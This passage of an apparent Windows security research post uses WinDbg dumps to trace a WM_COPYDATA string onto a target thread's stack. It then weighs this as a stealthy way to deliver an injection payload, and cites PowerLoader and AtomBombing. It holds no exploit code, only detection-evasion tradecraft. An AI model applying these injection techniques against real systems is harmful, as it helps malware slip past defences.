0000009832caf728  00007ffd6af61b0b USER32!GetMessageW+0x2b
0000009832caf730  0000009800000000
0000009832caf738  0000000000000001

This structure is defined in the debugging symbols, so we can dump it showing the values it contains.

0:000> dt uxtheme!COPYDATASTRUCT 0000009832caf6c0
   +0x000 dwData           : 1
   +0x008 cbData           : 0x34
   +0x010 lpData           : 0x0000009832caf6f0 Void

Finally, examine the lpData field that should contain the string we sent from process A.

0:000> du poi(0000009832caf6c0+10)
0000009832caf6f0  "I don't know what to say!."

We can see this address belongs to the stack allocated when thread was created.

0:000> !address 0000009832caf6f0

Usage:                  Stack
Base Address:           0000009832c9f000
End Address:            0000009832cb0000
Region Size:            0000000000011000 (  68.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        0000009832c30000
Allocation Protect:     00000004          PAGE_READWRITE
More info:              ~0k

Examining the Thread Information Block (TIB) that is located in the Thread Environment Block (TEB) provides us with the StackBase and StackLimit.

0:001> dx -r1 (*((uxtheme!_NT_TIB *)0x9832e4a000))
(*((uxtheme!_NT_TIB *)0x9832e4a000))                 [Type: _NT_TIB]
    [+0x000] ExceptionList    : 0x0 [Type: _EXCEPTION_REGISTRATION_RECORD *]
    [+0x008] StackBase        : 0x9832cb0000 [Type: void *]
    [+0x010] StackLimit       : 0x9832c9f000 [Type: void *]
    [+0x018] SubSystemTib     : 0x0 [Type: void *]
    [+0x020] FiberData        : 0x1e00 [Type: void *]
    [+0x020] Version          : 0x1e00 [Type: unsigned long]
    [+0x028] ArbitraryUserPointer : 0x0 [Type: void *]
    [+0x030] Self             : 0x9832e4a000 [Type: _NT_TIB *]

OK, we can use WM_COPYDATA to deploy a payload into a target process IF it has a GUI attached to it, but it’s not useful unless we can execute it. Moreover, the stack is a volatile area of memory and therefore unreliable to use as a code cave. To execute it would require locating the exact address and using a ROP chain. By the time the ROP chain is executed, there’s no guarantee the payload will still be intact. So, we probably can’t use WM_COPYDATA on this occasion, but it’s worth remembering there are likely many ways of sharing a payload with another process using legitimate API that are less suspicious than using WriteProcessMemory or NtWriteVirtualMemory.

In the case of WM_COPYDATA, one would still need to determine the exact address in stack of payload. Contents of the Thread Environment Block (TEB) can be retrieved via the NtQueryThreadInformation API using the ThreadBasicInformation class. After reading the TebAddress, the StackLimit and StackBase values can be read. In any case, the volatility of the stack means the payload would likely be overwritten before being executed.

Summary

Avoiding the conventional API used to deploy and execute a payload all increase the difficulty of detection. PowerLoader used a code cave in existing section object and a ROP chain for execution. PowerLoaderEx, which is a PoC used the desktop heap, while the AtomBombing PoC uses a code cave in .data section of a DLL.